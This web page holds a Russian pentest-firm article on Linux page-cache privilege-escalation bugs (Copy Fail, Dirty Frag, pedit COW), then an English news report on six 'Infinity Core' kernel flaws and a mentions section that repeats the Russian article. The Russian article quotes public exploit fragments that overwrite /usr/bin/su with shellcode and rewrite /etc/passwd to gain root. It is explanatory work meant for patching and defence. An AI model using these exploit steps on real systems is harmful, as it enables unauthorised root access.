Root без права на запись: как четыре уязвимости Linux обходят защиту файлов
У пользователя нет прав на изменение системного файла: открыть его можно только для чтения. Но что произойдет, если само ядро Linux запишет новые данные в его страницу в оперативной памяти? Для обычной проверки прав доступа такая запись может остаться незаметной.
В 2026 году исследователи описали несколько уязвимостей с таким механизмом. Они затрагивают криптографию и обработку сетевых пакетов, но причина у них похожая: подсистемы ядра неправильно обращаются с общими страницами памяти. Разберем Copy Fail, Dirty Frag и pedit COW, а затем посмотрим, как эти ошибки приводят к повышению привилегий.
В АБП2Б мы проводим пентесты и аудиты информационной безопасности. В этой работе сталкиваемся всё чаще с уязвимостями Linux, которые позволяют повысить привилегии в системе. В статье рассмотрим несколько таких уязвимостей и разберём, за счёт чего они работают.
Как работает page cache и откуда берется возможность записи
Когда процесс читает файл, ядро обычно работает не напрямую с ним, а с page cache, который представляет собой файловый кеш в оперативной памяти. Открытие файла с O_RDONLY означает, что процесс не имеет права выполнить штатную файловую запись, но не означает, что физические страницы памяти никогда не будут доступны другим частям ядра.
Чтение файла через page cache.
Zero-copy позволяет обойтись без лишнего копирования данных. Вместо отдельного буфера ядро может передать сетевой или криптографической подсистеме ссылку на ту же страницу памяти. Сетевой буфер sk_buff тоже может хранить такие ссылки.
Пока принимающая подсистема только читает страницу, проблем нет. Опасность появляется, когда она изменяет данные прямо в исходном буфере (in-place). Перед такой операцией нужно убедиться, что память можно менять, или создать отдельную копию.
Общая страница памяти и механизм Copy-on-Write.
User namespaces позволяют непривилегированному процессу создать изолированное пространство имен и получить в нем часть полномочий root. За пределами этого пространства они не действуют. Но page cache общий для всей системы, поэтому ошибка в ядре может затронуть и хост.
Публичные PoC и общий принцип атаки
На этих примерах хорошо видно, как похожая ошибка проявляется в разных интерфейсах ядра.
Имя
Подсистема
CVE
Где записывает?
Copy Fail
AF_ALG, algif_aead, authencesn
CVE-2026-31431
Контролируемая запись по 4 байта в page cache
LPE
Dirty Frag ESP
XFRM, ESP-in-UDP
CVE-2026-43284
ESP принимает externally shared frag за приватный и дешифрует его in-place
Dirty Frag, RxRPC
RxRPC, rxkad
CVE-2026-43500
shared paged frag попадает в in-place crypto SGL вместо предварительного unshare
pedit COW
tc, act_pedit
CVE-2026-46331
pedit пишет за заранее рассчитанной COW-границей в еще shared-область
Сами по себе эти ошибки не выдают права root. Они дают возможность изменить данные в памяти, а уже эксплойт использует эту возможность для повышения привилегий.
Copy Fail
Публичный PoC: JuanBindez/CVE-2026-31431
В основе Copy Fail лежит сочетание zero-copy, интерфейса AF_ALG и обработки данных in-place. AF_ALG позволяет обычным приложениям обращаться к криптографическим алгоритмам ядра через сокеты. Страница передается в криптографическую подсистему без копирования, а вход и выход операции могут ссылаться на одну область памяти. Проблему вызывает модуль authencesn: он использует выходной буфер как временную область и может записывать туда служебные данные. Если буфер ссылается на page cache, изменяется содержимое кешированной страницы файла.
Рассмотрим, как уязвимость используется для повышения привилегий. Ниже приведены отдельные фрагменты публичного PoC, а не самостоятельная программа.
Особый интерес представляют setuid-программы: они могут запускаться с повышенными правами. Если изменить их инструкции в page cache, система может выполнить измененный код, хотя файл на диске остался прежним. В демонстрации открывают /usr/bin/su только для чтения и воздействуют на его кешированную страницу:
Результат демонстрации Copy Fail: выполнение команды с правами root.
os.open(“/usr/bin/su”, os.O_RDONLY) # цель открыта read-onlysourcecraft.dev
Создаем сокет AF_ALG:
sock = socket.socket(38, 5, 0) # AF_ALG — crypto API ядра
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) # выбираем AEAD
conn, _ = sock.accept()sourcecraft.dev
Передаем содержимое файла через pipe в AF_ALG:
read_pipe, write_pipe = os.pipe() # pipe для zero-copy
os.splice(fd, write_pipe, offset + 4, offset_src=0) # файл → pipe
os.splice(read_pipe, conn.fileno(), offset + 4) # pipe → AF_ALGsourcecraft.dev
Затем запускаем криптографическую операцию, которая приводит к записи данных:
conn.sendmsg( # запускаем crypto-операцию
[b"A" * 4 + data],
[
(ALG_SET_KEY, 3, zero_byte * 4),
(ALG_SET_KEY, 2, b'\x10' + zero_byte * 19),
(ALG_SET_KEY, 4, b'\x08' + zero_byte * 3),
],
32768,
)sourcecraft.dev
Трассировка системных вызовов при демонстрации Copy Fail.
Здесь каждый компонент выполняет свою часть работы: splice() передает страницы, algif_aead позволяет избежать лишнего копирования, а authencesn использует выходной буфер как рабочую область. Ошибка возникает потому, что общую страницу меняют как собственную.
Dirty Frag
Публичный PoC: github.com/V4bel/dirtyfrag/blob/master/exp.c
Dirty Frag использует похожую ошибку: ядро изменяет данные прямо в общей памяти. Но на этот раз страница попадает в обработку через сетевой буфер.
Схема воздействия Dirty Frag на страницу файлового кеша.
ESP / IPsec
У процесса нет прав на изменение файла. Однако его кешированная страница может попасть в сетевой буфер, а ядро при обработке ESP расшифрует данные прямо в этой памяти. В результате изменится страница файлового кеша.
Для каждого участка данных длиной 4 байта демонстрация создает отдельную XFRM SA через netlink:
for (int i = 0; i < PAYLOAD_LEN / 4; i++) { // одна SA на 4 байта
uint32_t spi = 0xDEADBE10 + i;
uint32_t seqhi =
((uint32_t)shell_elf[i*4 + 0] << 24) |
((uint32_t)shell_elf[i*4 + 1] << 16) |
((uint32_t)shell_elf[i*4 + 2] << 8) |
((uint32_t)shell_elf[i*4 + 3]);
if (add_xfrm_sa(spi, seqhi) < 0) { // устанавливаем SA
SLOG("add_xfrm_sa #%d failed", i);
return -1;
}
}sourcecraft.dev
Далее собирается пакет. Содержимое файла не копируется: через pipe передается ссылка на страницу из page cache. Фрагмент кода:
uint8_t hdr[24]; // заголовок пакета
(uint32_t)(hdr + 0) = htonl(spi);
vmsplice(pfd[1], &iov_h, 1, 0); // header → pipe
off_t off = offset;
splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); // file page → pipe
splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); // pipe → socketsourcecraft.dev
Пакет поступает на UDP-порт 4500 через loopback. При обработке ESP ядро не распознает фрагмент как общую страницу и расшифровывает данные прямо в ней. В примере эту операцию повторяют для последовательных участков страницы.
RxRPC
Здесь записываемые данные зависят от результата расшифровки, поэтому выбрать их напрямую нельзя. Но результат зависит и от ключа. В демонстрации программа перебирает ключи локально, пока не находит подходящий, а затем использует его при обработке пакета ядром.
Подбор параметров криптографического преобразования в демонстрации RxRPC.
В примере с /etc/passwd код проверяет, удалось ли получить последовательность символов, необходимую для изменения записи учетной записи:
static inline int fc_check_pa_nullok(const uint8_t P[8]) {
return P[0] == ':' && P[1] == ':'; // ищем "::"
}
static inline int fc_check_pb_nullok(const uint8_t P[8]) {
return P[0] == '0' && P[1] == ':'; // ищем "0:"
}sourcecraft.dev
В приведенном PoC ключ подбирается следующим образом:
for (uint64_t iter = 0; iter < max_iters; iter++) {
uint64_t r = fc_splitmix64(&seed);
memcpy(K, &r, 8);
fcrypt_user_setkey(&ctx, K);
fcrypt_user_decrypt(&ctx, P, C);
if (check(P)) {
memcpy(selected_key, K, 8);
break;
}
}sourcecraft.dev
После подбора ключа программа передает страницу /etc/passwd через pipe и splice на обработку сетевой подсистеме. Ядро выполняет криптографическую операцию непосредственно над общей страницей:
memcpy(SESSION_KEY, Ka, 8); // ключ → сессия
do_one_trigger(rfd_ro, off_a, 8); // запускаем kernel pathsourcecraft.dev
Затем проверяется, как изменилась первая строка файла /etc/passwd:
if (memcmp(m, "root::0:0", 9) == 0)
// проверяем результатsourcecraft.dev
Изменение содержимого /etc/passwd в демонстрации Dirty Frag.
Проверка повышения привилегий после демонстрации Dirty Frag.
В обоих вариантах Dirty Frag используется общая идея: в сетевую обработку попадает ссылка на страницу файлового кеша, а криптографическая операция изменяет ее на месте. Различается способ управления записываемыми данными.
pedit COW
Публичный PoC: sgkdev/packet_edit_meme
Уязвимость pedit COW работает иначе. Здесь ядро пытается применить Copy-on-Write перед записью, но неправильно рассчитывает размер защищаемой области. В итоге часть памяти остается общей.
В демонстрации задаются две операции редактирования пакета. Первая меняет поле заголовка, влияющее на расчет смещения, а вторая выполняет запись по уже измененному смещению.
Проблема в том, что область для Copy-on-Write определяется заранее, а фактическое смещение второй операции зависит от заголовка пакета, который меняется во время обработки. Поэтому запись может выйти за пределы области, подготовленной для безопасного изменения.
static void fill_ihl_key(struct pedit_key_spec *key){ // первая pedit-запись
key->offset = IP_IHL_KEY_OFFSET;
key->value = IP_IHL_KEY_VALUE;
key->mask = IP_IHL_KEY_MASK;
key->header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK;
}sourcecraft.dev
Положение записи в файле зависит от структуры пакета. Для расчета смещения используется тестовый файл:
fd = open(CALIB_PATH, O_RDWR | O_CREAT | O_TRUNC, 0644); // файл для калибровки
write(fd, buf, sizeof(buf));
fsync(fd);
fill_ihl_key(&keys[0]); // первая запись-обманка
keys[1].offset = CALIB_PROBE_OFFSET; // пробное смещение
keys[1].value = CALIB_MARK_BYTE * 0x01010101u; // маркер
keys[1].header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP;
pedit_burst(fd, keys, 2); // применяем обе записи
pread(fd, buf, sizeof(buf), 0);
landed = find_marker(buf, ...); // ищем маркер
offset_delta = landed - CALIB_PROBE_OFFSET; // считаем поправкуsourcecraft.dev
Далее определяется точка входа setuid-программы: виртуальный адрес переводится в смещение внутри файла:
if (phdr.p_type == PT_LOAD && (phdr.p_flags & PF_X) &&
ehdr.e_entry >= phdr.p_vaddr &&
ehdr.e_entry < phdr.p_vaddr + phdr.p_filesz)
return (long)(ehdr.e_entry - phdr.p_vaddr + phdr.p_offset);
// entry VA → file offsetsourcecraft.dev
В демонстрации начало программы su в page cache заменяется короткой последовательностью машинных инструкций. Затем программа запускается с измененными инструкциями:
child = fork(); // создаем дочерний процесс
if (child == 0) {
if (corrupt_entry(su_fd, entry_offset))
_exit(1);
write(sync_pipe[1], "1", 1); // сигнал родителю
_exit(0);
}
read(sync_pipe[0], &ack, 1); // ждем child
waitpid(child, &status, 0);
su_argv[0] = (char *)su_path;
execve(su_path, su_argv, NULL); // запускаем цельsourcecraft.dev
Для настройки сетевого фильтра нужны полномочия, которых нет у обычного пользователя. Эксплойт использует user namespace, где часть таких полномочий доступна внутри изолированной среды. Но файловый кеш остается общим. Дочерний процесс изменяет кешированную страницу su, а родительский процесс запускает su уже вне пространства имен.
Фрагмент цикла дочернего процесса, который выполняет запись по частям:
size_t chunk = sizeof(SHELLCODE) - written;
if (chunk > PEDIT_MAX_WRITE)
chunk = PEDIT_MAX_WRITE;
api_fd_write(su_fd, entry_offset + written,
SHELLCODE + written, chunk);
written += chunk;sourcecraft.dev
Так один процесс использует полномочия внутри изолированного пространства, чтобы изменить общую кешированную страницу, а другой запускает измененную программу за его пределами.
Способы защиты
Основная мера защиты от Copy Fail, Dirty Frag и pedit COW — установка исправленного ядра Linux. Поскольку уязвимости связаны с обработкой общей памяти внутри ядра, изменение прав доступа к файлам не устраняет их причину.
При обновлении важно учитывать особенности конкретного дистрибутива. Исправления безопасности могут переноситься в более старые ветки ядра без изменения его базового номера версии. Поэтому наличие исправления следует проверять по бюллетеням безопасности поставщика и сведениям о конкретном пакете, а не только по выводу uname -r.
После установки обновления необходимо перезагрузить систему и убедиться, что она работает на исправленном ядре. Пока сервер продолжает использовать прежнее ядро, уязвимый код может оставаться активным.
При большом количестве Linux-серверов отдельной задачей становится учет систем, на которых необходимо проверить наличие исправлений. Для этого важно иметь актуальный реестр оборудования, понимать, где размещены серверы и кто отвечает за их обслуживание. Такие сведения можно вести, например, в ОдинХаб от АБП2Б — платформе для инвентаризации ИТ-инфраструктуры. Это упрощает организацию проверки и обновления систем, хотя само по себе не устраняет уязвимости ядра.
Дополнительная мера — ограничение доступности подсистем, в которых обнаружены ошибки: криптографического интерфейса AF_ALG, механизмов XFRM/ESP и RxRPC, а также функций редактирования пакетов через tc и act_pedit. Если отдельные компоненты не используются, можно рассмотреть их ограничение. Но отключать модули без проверки зависимостей нельзя: это может нарушить работу сетевых сервисов и других компонентов системы.
Отдельного внимания заслуживают непривилегированные user namespaces. Они позволяют процессам получать определенные полномочия внутри изолированной среды и в некоторых сценариях облегчают доступ к уязвимым механизмам ядра. Ограничение их создания может снизить риск эксплуатации, но не защищает от всех рассмотренных вариантов атаки.
Таким образом, дополнительные ограничения стоит рассматривать как временные меры снижения риска. Полноценное устранение этих уязвимостей требует установки соответствующих исправлений ядра Linux.
Что это значит для безопасности Linux
Copy Fail, Dirty Frag и pedit COW показывают, что одних прав доступа к файлам недостаточно, если ошибка есть в самом ядре. Во всех рассмотренных случаях одна подсистема передает ссылку на страницу памяти, а другая изменяет эту страницу, не обеспечив необходимое разделение. Если речь идет о page cache привилегированной программы, последствия могут привести к повышению прав.
Ошибки затрагивают механизмы, которые обычно помогают системе работать быстрее и безопаснее: zero-copy и Copy-on-Write. Поэтому основная защита здесь — исправленное ядро. Ограничения отдельных функций могут снизить риск, но не заменяют обновление.
Infinity Core: six Linux kernel flaws with public exploits
Security researcher Hyunwoo Kim disclosed six Linux kernel vulnerabilities, together called "Infinity Core", on the oss-security mailing list on October 16, 2026. Kim says they "can be exploited for Linux server LPE, container escape, and Android LPE." LPE, or local privilege escalation, means a normal user becomes root. Working exploits are already public, so anyone running shared Linux machines or container hosts should update their kernels now.
The six Infinity Core vulnerabilities
The oss-security post lists each bug with its CVE ID, the subsystem it sits in and the commit that fixed it. It gives no version numbers. The fixed kernel versions below come from SecurityOnline, not from Kim's post.
| Subsystem | CVE | Bug type | Fixed in (per SecurityOnline) |
|---|---|---|---|
| Timer | CVE-2026-98260 | Use-after-free in POSIX CPU timer cleanup | 6.6.158, 6.12.112, 6.18.54, 7.2.8 |
| Signal | CVE-2026-98256 | Use-after-free in the pending signal queue | 6.18.54, 7.2.8 |
| Memory | CVE-2026-89754 | Out-of-bounds write in the page-table walker behind mincore() | 6.18.50, 7.2.4 |
| Futex | CVE-2026-80775 | Use-after-free in the private futex hash setup | 6.18.47, 7.1.11, 7.2.1 |
| Scheduler | CVE-2026-98385 | Use-after-free in scheduler cache accounting | 7.2.9 |
| SLAB | CVE-2026-97941 | List corruption in the SLUB memory allocator | 7.2.7 |
Most of these are use-after-free bugs. The kernel frees a piece of memory but keeps using it, and an attacker can refill that memory with data of their choosing. Several also depend on a race, where two operations collide at an exact moment. The timer and signal bugs, for example, are triggered when exec() fails or races in a multi-threaded program. The exec() call replaces a running program with a new one.
SecurityOnline says the timer bug goes back to Linux 5.7, which is why it reaches older long-term kernels. The scheduler and SLAB bugs affect only the 7.2 series, by its account.
How serious they are
Five of the six come with a public proof-of-concept exploit that gives a root shell, according to Kim's GitHub repository and SecurityOnline. The sixth, the SLAB bug, only crashes the kernel so far. "An LPE chain has not yet been written," the repository says.
Kim tested the exploits on Ubuntu 26.04 with kernel 7.0.0-30-generic and on Arch Linux with kernel 7.2.4-arch1-2. The scheduler bug is narrower than the rest. It needs the CONFIG_SCHED_CACHE build option and a runtime setting turned on, and its exploit assumes four virtual CPUs.
SecurityOnline rates four of the bugs High, with a top CVSS score of 7.8, and two still await analysis. It reports no attacks in the wild. None of the six is in CISA's Known Exploited Vulnerabilities catalog, the US list of bugs seen in real attacks.
The research deliberately skipped networking, BPF and bugs that need user namespaces. SecurityOnline argues that a common hardening step, turning off unprivileged user namespaces or BPF, would not block these bugs.
Android phones are in scope
The timer bug also works on Android, Kim's repository says. It gives root on a Samsung Galaxy S26 Ultra from an ordinary app, "with no additional application privileges." Kim is holding back that Android exploit. It will be published once Samsung patches its devices or someone else releases an exploit first. No Samsung advisory or patch date appears in the sources.
How the disclosure happened
Kim reported the bugs privately to linux-distros, the closed list where Linux vendors prepare fixes before a bug goes public. Kim's public post says the embargo agreed with those maintainers has expired. The disclosure landed two days before Linux 7.3 was released on October 18.
What this means for developers
Install your distribution's latest kernel and reboot. A kernel fix does nothing until the machine boots the new kernel. Distributions often backport fixes into their own version numbers. So search your vendor's security notices for the six CVE IDs rather than comparing version numbers with the table above.
Patch the riskiest machines first. A container escape lets code inside one container take over the whole host. That puts Kubernetes nodes, shared build servers and CI runners first in line, especially runners that build pull requests from strangers.
Do not count on disabling user namespaces or BPF as a stopgap. If you run Android test devices, install Samsung's security update when it ships, because the timer bug works from an ordinary app.
The pattern is worth noting too. These bugs sit in core kernel code, such as timers, signals and the memory allocator, which every system runs. Container isolation relies on that shared kernel, so a kernel bug can cross a boundary that looks solid from user space.
---
This article was first published on Tech AI Wire.
Also available in
Deutsch · 日本語 · Français · Español · Português
Related on Tech AI Wire
- Linux 7.3 released with fchroot, failfs and faster Btrfs
Sources
- Infinity Core: six Linux kernel vulnerabilities (oss-security post) - oss-security (Openwall)
- Infinity Core: Linux Kernel Core LPEs - GitHub
- Six Linux Kernel Flaws Disclosed With Public PoC Exploits for Root Access and Container Escape - SecurityOnline
5 reactions
Mentions
#Kernel_Security Infinity Core: Linux Kernel Core LPEs V4bel/InfinityCore // The vulns (CVE-2026-98260, CVE-2026-98256, CVE-2026-89754, CVE-2026-80775, CVE-2026-98385, CVE-2026-97941) covered here affect Kernel Core subsystems that have historically seen relatively few security issues. They enable LPE and container escape on Linux distributions, and some also allow an attacker to gain full root privileges from the Android untrusted_app domain. cyberpocket.org
Root без права на запись: как четыре уязвимости Linux обходят защиту файлов У пользователя нет прав на изменение системного файла: открыть его можно только для чтения. Но что произойдет, если само ядро Linux запишет новые данные в его страницу в оперативной памяти? Для обычной проверки прав доступа такая запись может остаться незаметной. В 2026 году исследователи описали несколько уязвимостей с таким механизмом. Они затрагивают криптографию и обработку сетевых пакетов, но причина у них похожая: подсистемы ядра неправильно обращаются с общими страницами памяти. Разберем Copy Fail, Dirty Frag и pedit COW, а затем посмотрим, как эти ошибки приводят к повышению привилегий. В АБП2Б мы проводим пентесты и аудиты информационной безопасности. В этой работе сталкиваемся всё чаще с уязвимостями Linux, которые позволяют повысить привилегии в системе. В статье рассмотрим несколько таких уязвимостей и разберём, за счёт чего они работают. Как работает page cache и откуда берется возможность записи Когда процесс читает файл, ядро обычно работает не напрямую с ним, а с page cache, который представляет собой файловый кеш в оперативной памяти. Открытие файла с O_RDONLY означает, что процесс не имеет права выполнить штатную файловую запись, но не означает, что физические страницы памяти никогда не будут доступны другим частям ядра. Чтение файла через page cache. Zero-copy позволяет обойтись без лишнего копирования данных. Вместо отдельного буфера ядро может передать сетевой или криптографической подсистеме ссылку на ту же страницу памяти. Сетевой буфер sk_buff тоже может хранить такие ссылки. Пока принимающая подсистема только читает страницу, проблем нет. Опасность появляется, когда она изменяет данные прямо в исходном буфере (in-place). Перед такой операцией нужно убедиться, что память можно менять, или создать отдельную копию. Общая страница памяти и механизм Copy-on-Write. User namespaces позволяют непривилегированному процессу создать изолированное пространство имен и получить в нем часть полномочий root. За пределами этого пространства они не действуют. Но page cache общий для всей системы, поэтому ошибка в ядре может затронуть и хост. Публичные PoC и общий принцип атаки На этих примерах хорошо видно, как похожая ошибка проявляется в разных интерфейсах ядра. Имя Подсистема CVE Где записывает? Copy Fail AF_ALG, algif_aead, authencesn CVE-2026-31431 Контролируемая запись по 4 байта в page cache LPE Dirty Frag ESP XFRM, ESP-in-UDP CVE-2026-43284 ESP принимает externally shared frag за приватный и дешифрует его in-place Dirty Frag, RxRPC RxRPC, rxkad CVE-2026-43500 shared paged frag попадает в in-place crypto SGL вместо предварительного unshare pedit COW tc, act_pedit CVE-2026-46331 pedit пишет за заранее рассчитанной COW-границей в еще shared-область Сами по себе эти ошибки не выдают права root. Они дают возможность изменить данные в памяти, а уже эксплойт использует эту возможность для повышения привилегий. Copy Fail Публичный PoC: JuanBindez/CVE-2026-31431 В основе Copy Fail лежит сочетание zero-copy, интерфейса AF_ALG и обработки данных in-place. AF_ALG позволяет обычным приложениям обращаться к криптографическим алгоритмам ядра через сокеты. Страница передается в криптографическую подсистему без копирования, а вход и выход операции могут ссылаться на одну область памяти. Проблему вызывает модуль authencesn: он использует выходной буфер как временную область и может записывать туда служебные данные. Если буфер ссылается на page cache, изменяется содержимое кешированной страницы файла. Рассмотрим, как уязвимость используется для повышения привилегий. Ниже приведены отдельные фрагменты публичного PoC, а не самостоятельная программа. Особый интерес представляют setuid-программы: они могут запускаться с повышенными правами. Если изменить их инструкции в page cache, система может выполнить измененный код, хотя файл на диске остался прежним. В демонстрации открывают /usr/bin/su только для чтения и воздействуют на его кешированную страницу: Результат демонстрации Copy Fail: выполнение команды с правами root. os.open(“/usr/bin/su”, os.O_RDONLY) # цель открыта read-onlysourcecraft.dev Создаем сокет AF_ALG: sock = socket.socket(38, 5, 0) # AF_ALG — crypto API ядра sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) # выбираем AEAD conn, _ = sock.accept()sourcecraft.dev Передаем содержимое файла через pipe в AF_ALG: read_pipe, write_pipe = os.pipe() # pipe для zero-copy os.splice(fd, write_pipe, offset + 4, offset_src=0) # файл → pipe os.splice(read_pipe, conn.fileno(), offset + 4) # pipe → AF_ALGsourcecraft.dev Затем запускаем криптографическую операцию, которая приводит к записи данных: conn.sendmsg( # запускаем crypto-операцию [b"A" * 4 + data], [ (ALG_SET_KEY, 3, zero_byte * 4), (ALG_SET_KEY, 2, b'\x10' + zero_byte * 19), (ALG_SET_KEY, 4, b'\x08' + zero_byte * 3), ], 32768, )sourcecraft.dev Трассировка системных вызовов при демонстрации Copy Fail. Здесь каждый компонент выполняет свою часть работы: splice() передает страницы, algif_aead позволяет избежать лишнего копирования, а authencesn использует выходной буфер как рабочую область. Ошибка возникает потому, что общую страницу меняют как собственную. Dirty Frag Публичный PoC: github.com/V4bel/dirtyfrag/blob/master/exp.c Dirty Frag использует похожую ошибку: ядро изменяет данные прямо в общей памяти. Но на этот раз страница попадает в обработку через сетевой буфер. Схема воздействия Dirty Frag на страницу файлового кеша. ESP / IPsec У процесса нет прав на изменение файла. Однако его кешированная страница может попасть в сетевой буфер, а ядро при обработке ESP расшифрует данные прямо в этой памяти. В результате изменится страница файлового кеша. Для каждого участка данных длиной 4 байта демонстрация создает отдельную XFRM SA через netlink: for (int i = 0; i < PAYLOAD_LEN / 4; i++) { // одна SA на 4 байта uint32_t spi = 0xDEADBE10 + i; uint32_t seqhi = ((uint32_t)shell_elf[i*4 + 0] << 24) | ((uint32_t)shell_elf[i*4 + 1] << 16) | ((uint32_t)shell_elf[i*4 + 2] << 8) | ((uint32_t)shell_elf[i*4 + 3]); if (add_xfrm_sa(spi, seqhi) < 0) { // устанавливаем SA SLOG("add_xfrm_sa #%d failed", i); return -1; } }sourcecraft.dev Далее собирается пакет. Содержимое файла не копируется: через pipe передается ссылка на страницу из page cache. Фрагмент кода: uint8_t hdr[24]; // заголовок пакета (uint32_t)(hdr + 0) = htonl(spi); vmsplice(pfd[1], &iov_h, 1, 0); // header → pipe off_t off = offset; splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); // file page → pipe splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); // pipe → socketsourcecraft.dev Пакет поступает на UDP-порт 4500 через loopback. При обработке ESP ядро не распознает фрагмент как общую страницу и расшифровывает данные прямо в ней. В примере эту операцию повторяют для последовательных участков страницы. RxRPC Здесь записываемые данные зависят от результата расшифровки, поэтому выбрать их напрямую нельзя. Но результат зависит и от ключа. В демонстрации программа перебирает ключи локально, пока не находит подходящий, а затем использует его при обработке пакета ядром. Подбор параметров криптографического преобразования в демонстрации RxRPC. В примере с /etc/passwd код проверяет, удалось ли получить последовательность символов, необходимую для изменения записи учетной записи: static inline int fc_check_pa_nullok(const uint8_t P[8]) { return P[0] == ':' && P[1] == ':'; // ищем "::" } static inline int fc_check_pb_nullok(const uint8_t P[8]) { return P[0] == '0' && P[1] == ':'; // ищем "0:" }sourcecraft.dev В приведенном PoC ключ подбирается следующим образом: for (uint64_t iter = 0; iter < max_iters; iter++) { uint64_t r = fc_splitmix64(&seed); memcpy(K, &r, 8); fcrypt_user_setkey(&ctx, K); fcrypt_user_decrypt(&ctx, P, C); if (check(P)) { memcpy(selected_key, K, 8); break; } }sourcecraft.dev После подбора ключа программа передает страницу /etc/passwd через pipe и splice на обработку сетевой подсистеме. Ядро выполняет криптографическую операцию непосредственно над общей страницей: memcpy(SESSION_KEY, Ka, 8); // ключ → сессия do_one_trigger(rfd_ro, off_a, 8); // запускаем kernel pathsourcecraft.dev Затем проверяется, как изменилась первая строка файла /etc/passwd: if (memcmp(m, "root::0:0", 9) == 0) // проверяем результатsourcecraft.dev Изменение содержимого /etc/passwd в демонстрации Dirty Frag. Проверка повышения привилегий после демонстрации Dirty Frag. В обоих вариантах Dirty Frag используется общая идея: в сетевую обработку попадает ссылка на страницу файлового кеша, а криптографическая операция изменяет ее на месте. Различается способ управления записываемыми данными. pedit COW Публичный PoC: sgkdev/packet_edit_meme Уязвимость pedit COW работает иначе. Здесь ядро пытается применить Copy-on-Write перед записью, но неправильно рассчитывает размер защищаемой области. В итоге часть памяти остается общей. В демонстрации задаются две операции редактирования пакета. Первая меняет поле заголовка, влияющее на расчет смещения, а вторая выполняет запись по уже измененному смещению. Проблема в том, что область для Copy-on-Write определяется заранее, а фактическое смещение второй операции зависит от заголовка пакета, который меняется во время обработки. Поэтому запись может выйти за пределы области, подготовленной для безопасного изменения. static void fill_ihl_key(struct pedit_key_spec *key){ // первая pedit-запись key->offset = IP_IHL_KEY_OFFSET; key->value = IP_IHL_KEY_VALUE; key->mask = IP_IHL_KEY_MASK; key->header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK; }sourcecraft.dev Положение записи в файле зависит от структуры пакета. Для расчета смещения используется тестовый файл: fd = open(CALIB_PATH, O_RDWR | O_CREAT | O_TRUNC, 0644); // файл для калибровки write(fd, buf, sizeof(buf)); fsync(fd); fill_ihl_key(&keys[0]); // первая запись-обманка keys[1].offset = CALIB_PROBE_OFFSET; // пробное смещение keys[1].value = CALIB_MARK_BYTE * 0x01010101u; // маркер keys[1].header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP; pedit_burst(fd, keys, 2); // применяем обе записи pread(fd, buf, sizeof(buf), 0); landed = find_marker(buf, ...); // ищем маркер offset_delta = landed - CALIB_PROBE_OFFSET; // считаем поправкуsourcecraft.dev Далее определяется точка входа setuid-программы: виртуальный адрес переводится в смещение внутри файла: if (phdr.p_type == PT_LOAD && (phdr.p_flags & PF_X) && ehdr.e_entry >= phdr.p_vaddr && ehdr.e_entry < phdr.p_vaddr + phdr.p_filesz) return (long)(ehdr.e_entry - phdr.p_vaddr + phdr.p_offset); // entry VA → file offsetsourcecraft.dev В демонстрации начало программы su в page cache заменяется короткой последовательностью машинных инструкций. Затем программа запускается с измененными инструкциями: child = fork(); // создаем дочерний процесс if (child == 0) { if (corrupt_entry(su_fd, entry_offset)) _exit(1); write(sync_pipe[1], "1", 1); // сигнал родителю _exit(0); } read(sync_pipe[0], &ack, 1); // ждем child waitpid(child, &status, 0); su_argv[0] = (char *)su_path; execve(su_path, su_argv, NULL); // запускаем цельsourcecraft.dev Для настройки сетевого фильтра нужны полномочия, которых нет у обычного пользователя. Эксплойт использует user namespace, где часть таких полномочий доступна внутри изолированной среды. Но файловый кеш остается общим. Дочерний процесс изменяет кешированную страницу su, а родительский процесс запускает su уже вне пространства имен. Фрагмент цикла дочернего процесса, который выполняет запись по частям: size_t chunk = sizeof(SHELLCODE) - written; if (chunk > PEDIT_MAX_WRITE) chunk = PEDIT_MAX_WRITE; api_fd_write(su_fd, entry_offset + written, SHELLCODE + written, chunk); written += chunk;sourcecraft.dev Так один процесс использует полномочия внутри изолированного пространства, чтобы изменить общую кешированную страницу, а другой запускает измененную программу за его пределами. Способы защиты Основная мера защиты от Copy Fail, Dirty Frag и pedit COW — установка исправленного ядра Linux. Поскольку уязвимости связаны с обработкой общей памяти внутри ядра, изменение прав доступа к файлам не устраняет их причину. При обновлении важно учитывать особенности конкретного дистрибутива. Исправления безопасности могут переноситься в более старые ветки ядра без изменения его базового номера версии. Поэтому наличие исправления следует проверять по бюллетеням безопасности поставщика и сведениям о конкретном пакете, а не только по выводу uname -r. После установки обновления необходимо перезагрузить систему и убедиться, что она работает на исправленном ядре. Пока сервер продолжает использовать прежнее ядро, уязвимый код может оставаться активным. При большом количестве Linux-серверов отдельной задачей становится учет систем, на которых необходимо проверить наличие исправлений. Для этого важно иметь актуальный реестр оборудования, понимать, где размещены серверы и кто отвечает за их обслуживание. Такие сведения можно вести, например, в ОдинХаб от АБП2Б — платформе для инвентаризации ИТ-инфраструктуры. Это упрощает организацию проверки и обновления систем, хотя само по себе не устраняет уязвимости ядра. Дополнительная мера — ограничение доступности подсистем, в которых обнаружены ошибки: криптографического интерфейса AF_ALG, механизмов XFRM/ESP и RxRPC, а также функций редактирования пакетов через tc и act_pedit. Если отдельные компоненты не используются, можно рассмотреть их ограничение. Но отключать модули без проверки зависимостей нельзя: это может нарушить работу сетевых сервисов и других компонентов системы. Отдельного внимания заслуживают непривилегированные user namespaces. Они позволяют процессам получать определенные полномочия внутри изолированной среды и в некоторых сценариях облегчают доступ к уязвимым механизмам ядра. Ограничение их создания может снизить риск эксплуатации, но не защищает от всех рассмотренных вариантов атаки. Таким образом, дополнительные ограничения стоит рассматривать как временные меры снижения риска. Полноценное устранение этих уязвимостей требует установки соответствующих исправлений ядра Linux. Что это значит для безопасности Linux Copy Fail, Dirty Frag и pedit COW показывают, что одних прав доступа к файлам недостаточно, если ошибка есть в самом ядре. Во всех рассмотренных случаях одна подсистема передает ссылку на страницу памяти, а другая изменяет эту страницу, не обеспечив необходимое разделение. Если речь идет о page cache привилегированной программы, последствия могут привести к повышению прав. Ошибки затрагивают механизмы, которые обычно помогают системе работать быстрее и безопаснее: zero-copy и Copy-on-Write. 